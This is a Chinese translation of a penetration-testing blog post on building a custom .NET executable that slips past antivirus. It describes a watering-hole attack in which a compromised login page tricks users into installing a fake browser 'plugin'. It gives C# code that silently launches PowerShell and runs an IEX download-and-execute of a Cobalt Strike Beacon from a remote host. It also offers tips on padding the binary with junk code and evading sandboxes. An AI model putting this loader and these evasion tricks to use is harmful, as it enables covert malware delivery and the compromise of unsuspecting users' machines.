1. 程式人生 > >手把手教滲透測試人員打造.NET可執行文件

手把手教滲透測試人員打造.NET可執行文件

解決 com 多選 diag 時間 tps 計算 -s 即使

在進行滲透測試的過程中,我們有時候會希望使用可執行文件來完成某些任務。最近,我們在測試過程中拿下了一個網站,從而獲得了一次發動水坑攻擊的機會。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

於是, 我們將JavaScript嵌入網站的登錄頁面,提醒用戶當前的應用程序需要安裝一個瀏覽器插件才能正常使用,然後誘騙用戶下載相應的“插件”。最初的時候,我們嘗試利用一個HTA文件在用戶的系統上執行PowerShell命令,以便建立一個連接我們的服務器(Cobalt Strike)的C2通道。但由於某種原因,這種方法在我們的目標系統上面無法正常使用。後來,我們在自己的多個系統上對這種攻擊方法進行了嘗試,結果一切正常,所以我們不知道HTA是被某些東西攔截了,還是引起了用戶的懷疑,或者用戶被HTA文件給搞糊塗了。不過不用擔心,我們只要把HTA換成了一個定制的exe文件,我們的成功率就能超過50%。

然而,exe文件(也稱為可移植可執行文件,也就是PE,因為它包含了由Windows運行所需的全部信息)的問題在於,它通常情況下必須寫入磁盤,但是這樣一來,它就很容易被AV軟件發現。我們知道,各種紅隊工具(從Metasploit到Cobalt Strike)都能夠生成一個通過C2通道反向連接攻擊者機器的exe文件。雖然這些文件每個都不盡相同(這樣就能確保具有不同的哈希值),但是,它們卻很難逃過AV的法眼。

技術分享圖片

VirusTotal對Cobalt Strike默認的Beacon有效載荷的分析結果。

實際上,有許多工具可以將這些PE文件封裝成不同的代碼,以使其看起來跟原來不一樣,從而逃避各種安全檢測,這些工具包括之前非常流行的Veil-Evasion。 盡管Veil為攻擊者提供了很多選項,但防禦工具也對這種可執行文件封裝器的路數了如指掌。

編寫定制的PE文件繞過安全檢測

事實證明,即使沒有非常尖端的工具、先進的加密技術或0-day漏洞利用代碼,也照樣可以繞過99%的防禦性產品。為此,只需要創建一些自定義的東西——那些安全軟件從來沒有見過的東西。這時候,編寫定制的PE文件就派得上用場了。 我們將使用Visual Studio編寫一個.NET可執行文件,讓它來執行我們需要的命令。

首先,讓我們啟動Visual Studio並創建一個新項目。這裏,我們可以使用“Windows Forms App (.NET Framework)”模板。

技術分享圖片

在Visual Studio中新建一個項目。

由於只是創建一個可以靜默運行的可執行文件(無窗口),所以,我們可以刪除Visual Studio創建的“Form1.cs”以及Program.cs

中Main函數的內容。 如果你想為惡意軟件創建一個更合理的前端視圖,你可以保留這個表單,創建更加有用的外觀。

技術分享圖片

刪除系統為我們生成的表單後的項目。

接下來,我們將為讀者介紹如何通過C#應用程序來啟動一個程序。這裏,我們將以PowerShell為例進行介紹。

(在以後的文章中,我們將介紹如何直接從C#程序加載代碼,而無需啟動另一個進程)

這裏將使用System.Diagnostics.Process類來設置和啟動我們的新進程。同時,這裏將powershell.exe設置為我們的進程,並向其傳遞一個要執行的命令。 在這個例子中,我們會讓PowerShell“沈睡”10秒,以便留出足夠的時間來觀察其中的運作機制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

當運行該程序(點擊頂部菜單中的“Start”按鈕或按F5)的時候,您應該會看到一個PowerShell窗口停留10秒鐘,然後關閉。你會註意到,最初的C#進程一旦啟動PowerShell,它自己就會馬上退出;它不會等待PowerShell進程退出。

為了觀察PowerShell進程的行為表現,需要將窗口設置為隱藏狀態。為此,可以直接使用ProcessStartInfo類,而不必在PowerShell中使用“-w hidden”參數,因為後一種做法常常會引起安全軟件的懷疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我們還可以將前面的sleep命令換成一個下載並執行指定有效載荷(例如Cobalt Strike的Beacon)的PowerShell命令。顯然,我們需要設置好相應的有效載荷和監聽器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

現在,終於到了exe文件出場的時候了。如果您已經通過了代碼的最終版本,那麽該exe文件將位於projectnamebinDebugprojectname.exe下的項目文件夾中。 如果你不想在自己的系統上運行有效載荷,你可以選擇Build>Build Solution菜單項或者按F6來構建一個新的exe版本,而無需真正執行這個程序。

讓我們看看效果到底是如何!

最後的效果

技術分享圖片

VirusTotal對我們定制的可執行文件的分析結果。

不錯!

它看起來一切正常!

技術分享圖片

通過運行我們的自定義可執行文件獲得的Beacon

下一步

很明顯,五行自定義代碼並不是一個長久的解決方案。我毫不懷疑,其他人也會發現這個方法非常有用,隨著使用這種方法的人越來越多,這種方法也會漸漸被AV所察覺。然而,我們自己編寫可執行文件的好處是,我們可以自定義程序的核心,並且可以隨時隨地進行大刀闊斧的修改。畢竟,通過添加無關的函數來隱藏代碼是很容易的事情,無論是計算pi還是對列表進行排序的代碼,都可以達到同樣的效果。

我們也可以通過其他.NET函數來加強我們的程序。例如,如果我們知道目標系統的域名,我們可以在啟動PowerShell進程之前檢查該域名,以避免陷入沙箱。

很明顯,我們在這裏仍然調用了PowerShell,所以任何與此相關的日誌或警報仍然適用。理想情況下,我們不會調用我們定制的可執行文件之外的任何程序。

下一個重要步驟是將有效載荷的所有內容都放入在可執行文件中。這裏需要涉及許多方面,從在本地機器上托管PowerShell代碼,到通過命令完成下載和執行,以及將shell代碼加載到內存中。

猜你喜歡:利用Python CGIHTTPServer繞過CSRF令牌

手把手教滲透測試人員打造.NET可執行文件